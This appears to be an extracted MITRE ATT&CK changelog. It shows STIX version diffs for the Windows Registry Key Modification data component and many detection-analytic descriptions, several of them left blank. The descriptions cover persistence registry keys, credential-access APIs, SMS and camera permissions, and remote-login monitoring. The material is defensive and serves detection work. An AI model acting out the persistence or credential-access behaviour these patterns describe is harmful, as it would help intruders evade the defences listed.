x_mitre_data_source_ref	x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:03.268000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0063] Windows Registry Key Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0063', 'external_id': 'DC0063'}]
x_mitre_log_sources		[{'name': 'Windows Registry', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=13'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4657'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=14'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'WinEventLog:Sysmon', 'channel': 'StubPath value written under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components'}, {'name': 'm365:unified', 'channel': 'MacroSecuritySettingsChanged or SafeModeDisabled'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=13, 14'}, {'name': 'WinEventLog:Security', 'channel': 'modification to Winlogon registry keys such as Shell, Notify, or Userinit'}, {'name': 'WinEventLog:Security', 'channel': 'Registry key modification HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient\\EnableMulticast'}, {'name': 'macos:unifiedlog', 'channel': 'g_CiOptions modification or SIP state change'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Autoruns reports DLLs in AppInit_DLLs key'}]

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:59.993000+00:00	2025-10-22 18:34:46.572000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0
x_mitre_data_source_ref	x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0

Detection Strategies

Description:

Federated login using SSO or OAuth grant to cloud control plane, followed by directory or permissions enumeration

Current version: 1.0

Current version: 1.0

Description:

[AN1968] Analytic 1968

Current version: 1.0

Description:

If infrastructure or patterns in the malicious web content related to malvertising have been previously identified, internet scanning may uncover when an adversary has staged malicious web content. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as Drive-by Compromise or Exploitation for Client Execution.

Description:

Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links and identifying obfuscated URLs) can also help detect links leading to known malicious sites.(Citation: Mandiant URL Obfuscation 2023)

Furthermore, monitor browser logs for homographs in ASCII and in internationalized domain names abusing different character sets (e.g. Cyrillic vs Latin versions of trusted sites). Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).

Furthermore, monitor network traffic for homographs via the use of internationalized domain names abusing different character sets (e.g. Cyrillic vs Latin versions of trusted sites). Also monitor and analyze traffic patterns and packet inspection for indicators of cloned websites. For example, if adversaries use HTTrack to clone websites, Mirrored from (victim URL) may be visible in the HTML section of packets.

[AN2011] Analytic 2011

Current version: 1.0

Description:

Description:

Application vetting services may detect API calls to performGlobalAction(int). The user can view a list of device administrators and applications that have registered accessibility services in device settings. The user can typically visually see when an action happens that they did not initiate and can subsequently review installed applications for any out of place or unknown ones. Applications that register an accessibility service or request device administrator permissions should be scrutinized further for malicious behavior.

[AN1645] Analytic 1645

Current version: 1.0

Description:

The user can view the default SMS handler in system settings.

[AN1646] Analytic 1646

Current version: 1.0

Description:

Application vetting services could look for the Android permission android.permission.QUERY_ALL_PACKAGES, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API LSApplicationWorkspace and apply extra scrutiny to applications that employ it.

Current version: 1.0

Description:

[AN1659] Analytic 1659

Current version: 1.0

Description:

On Android, the user can review which applications can use premium SMS features in the "Special access" page within application settings. Application vetting services can detect when applications request the SEND_SMS permission, which should be infrequently used.

Current version: 1.0

Description:

[AN1665] Analytic 1665

Current version: 1.0

Description:

The user can also inspect and modify the list of applications that have notification access through the device settings (e.g. Apps & notification -> Special app access -> Notification access). Application vetting services can look for applications requesting the BIND_NOTIFICATION_LISTENER_SERVICE permission in a service declaration.

[AN1666] Analytic 1666

Current version: 1.0

Description:

The user can view applications that have registered accessibility services in the accessibility menu within the device settings.

[AN1667] Analytic 1667

Current version: 1.0

Description:

Monitor for pseudo-randomly generated domain names based on frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Additionally, check if the suspicious domain has been recently registered, if it has been rarely visited, or if the domain had a spike in activity after being dormant.(Citation: unit42_strat_aged_domain_det) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names.

[AN1680] Analytic 1680

Current version: 1.0

Description:

[AN1681] Analytic 1681

Current version: 1.0

Description:

Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior.

Current version: 1.0

Description:

[AN1708] Analytic 1708

Current version: 1.0

Description:

Monitor for API calls that are related to the AccountManager API on Android and Keychain services on iOS. Application vetting services may look for MANAGE_ACCOUNTS in an Android application’s manifest. Most applications do not need access to accounts, so extra scrutiny may be applied to those that request it.

Current version: 1.0

Description:

[AN1718] Analytic 1718

Current version: 1.0

Description:

Application vetting services can detect when an application requests administrator permission. When an application requests administrator permission, the user is presented with a popup and the option to grant or deny the request.

[AN1719] Analytic 1719

Current version: 1.0

Description:

Application vetting services could detect usage of standard clipboard APIs.

[AN1720] Analytic 1720

Current version: 1.0

Description:

Application vetting services could detect usage of standard clipboard APIs.

[AN1721] Analytic 1721

Current version: 1.0

Description:

Application vetting services could look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because as legitimate software may use packing techniques to reduce binary size or to protect proprietary code.

Current version: 1.0

Description:

[AN1730] Analytic 1730

Current version: 1.0

Description:

This behavior is seamless to the user and is typically undetectable.

Current version: 1.0

Description:

Current version: 1.0

Description:

Current version: 1.0

Description:

[AN1753] Analytic 1753

Current version: 1.0

Description:

Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation.(Citation: CSRIC5-WG10-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.

[AN1754] Analytic 1754

Current version: 1.0

Description:

[AN1755] Analytic 1755

Current version: 1.0

Description:

Network traffic analysis could reveal patterns of compromise if devices attempt to access unusual targets or resources. Application vetting may be able to identify applications that perform Discovery or utilize existing connectivity to remotely access hosts within an internal enterprise network.

Current version: 1.0

Description:

[AN1760] Analytic 1760

Current version: 1.0

Description:

Mobile security products can often alert the user if their device is vulnerable to known exploits.

[AN1761] Analytic 1761

Current version: 1.0

Description:

Mobile security products can often alert the user if their device is vulnerable to known exploits.

[AN1762] Analytic 1762

Current version: 1.0

Description:

[AN1763] Analytic 1763

Current version: 1.0

Description:

[AN1764] Analytic 1764

Current version: 1.0

Description:

Application vetting services can look for the use of the Android MediaProjectionManager class, applying extra scrutiny to applications that use the class. The user can view a list of apps with accessibility service privileges in the device settings.

[AN1765] Analytic 1765

Current version: 1.0

Description:

Current version: 1.0

Description:

[AN1771] Analytic 1771

Current version: 1.0

Description:

[AN1772] Analytic 1772

Current version: 1.0

Description:

In iOS 14 and up, an orange dot (or orange square if the Differentiate Without Color setting is enabled) appears in the status bar when the microphone is being used by an application. However, there have been demonstrations indicating it may still be possible to access the microphone in the background without triggering this visual indicator by abusing features that natively access the microphone or camera but do not trigger the visual indicators.(Citation: iOS Mic Spyware)

In Android 12 and up, a green dot appears in the status bar when the microphone is being used by an application.(Citation: Android Privacy Indicators) Android applications using the RECORD_AUDIO permission and iOS applications using RequestRecordPermission should be carefully reviewed and monitored. If the CAPTURE_AUDIO_OUTPUT permission is found in a third-party Android application, the application should be heavily scrutinized.

In both Android (6.0 and up) and iOS, the user can review which applications have the permission to access the microphone through the device settings screen and revoke permissions as necessary.

[AN1773] Analytic 1773

Current version: 1.0

Current version: 1.0

Description:

[AN1784] Analytic 1784

Current version: 1.0

Description:

[AN1785] Analytic 1785

Current version: 1.0

Description:

[AN1786] Analytic 1786

Current version: 1.0

Description:

The user can view permissions granted to an application in device settings. Application vetting services typically flag permissions requested by an application, which can be reviewed by an administrator. Certain dangerous permissions, such as RECEIVE_SMS, could receive additional scrutiny.

Current version: 1.0

Description:

[AN1793] Analytic 1793

Current version: 1.0

Description:

[AN1794] Analytic 1794

Current version: 1.0

Description:

[AN1795] Analytic 1795

Current version: 1.0

Description:

Application vetting services could look for android.permission.READ_SMS in an Android application’s manifest. Most applications do not need access to SMS messages, so extra scrutiny could be applied to those that request it. On Android, the user can manage which applications have permission to access SMS messages through the device settings screen, revoking the permission if necessary.

Current version: 1.0

Description:

[AN1806] Analytic 1806

Current version: 1.0

Description:

The user can view a list of active device administrators in the device settings.

[AN1807] Analytic 1807

Current version: 1.0

Description:

Mobile threat defense agents could detect unauthorized operating system modifications by using attestation.

[AN1808] Analytic 1808

Current version: 1.0

Description:

The user can view which applications have permission to use the camera through the device settings screen, where the user can then choose to revoke the permissions. During the vetting process, applications using the Android permission android.permission.CAMERA, or the iOS NSCameraUsageDescription plist entry could be given closer scrutiny.

Current version: 1.0

Description:

Current version: 1.0

Description:

[AN1822] Analytic 1822

Current version: 1.0

Description:

The user can review available call logs for irregularities, such as missing or unrecognized calls. The user can view their default phone app in device settings.

Current version: 1.0

Description:

[AN1832] Analytic 1832

Current version: 1.0

Description:

[AN1833] Analytic 1833

Current version: 1.0

Description:

Current version: 1.0

Description:

[AN1850] Analytic 1850

Current version: 1.0

Description:

Hooking can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[AN1851] Analytic 1851

Current version: 1.0

Description:

Dynamic analysis, when used in application vetting, may in some cases be able to identify malicious code in obfuscated or encrypted form by detecting the code at execution time (after it is deobfuscated or decrypted). Some application vetting techniques apply reputation analysis of the application developer and can alert to potentially suspicious applications without actual examination of application code.

Current version: 1.0

Current version: 1.0

Current version: 1.0

Description:

Monitor network data for uncommon data flows (e.g., time of day, unusual source/destination address) that may be related to abuse of Valid Accounts to log into a service specifically designed to accept remote connections, such as RDP, Telnet, SSH, and VNC. Monitor DLL file events, specifically creation of these files as well as the loading of DLLs into processes specifically designed to accept remote connections, such as RDP, Telnet, SSH, and VNC. Monitor for user accounts logged into systems they would not normally access or abnormal access patterns, such as multiple systems over a relatively short period of time. Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. For added context on adversary procedures and background see Remote Services and applicable sub-techniques. Monitor for newly executed processes related to services specifically designed to accept remote connections, such as RDP, Telnet, SSH, and VNC. The adversary may use Valid Accounts to login and may perform follow-on actions that spawn additional processes as the user. Monitor executed commands and arguments to services specifically designed to accept remote connections, such as RDP, Telnet, SSH, and VNC. The adversary may then perform these actions using Valid Accounts. Monitor for newly constructed network connections into a service specifically designed to accept remote connections, such as RDP, Telnet, SSH, and VNC. Monitor network connections involving common remote management protocols, such as ports tcp:3283 and tcp:5900, as well as ports tcp:3389 and tcp:22 for remote logins. The adversary may use Valid Accounts to enable remote logins. Monitor interactions with network shares, such as reads or file transfers, using remote services such as Server Message Block (SMB). For added context on adversary procedures and background see Remote Services and applicable sub-techniques.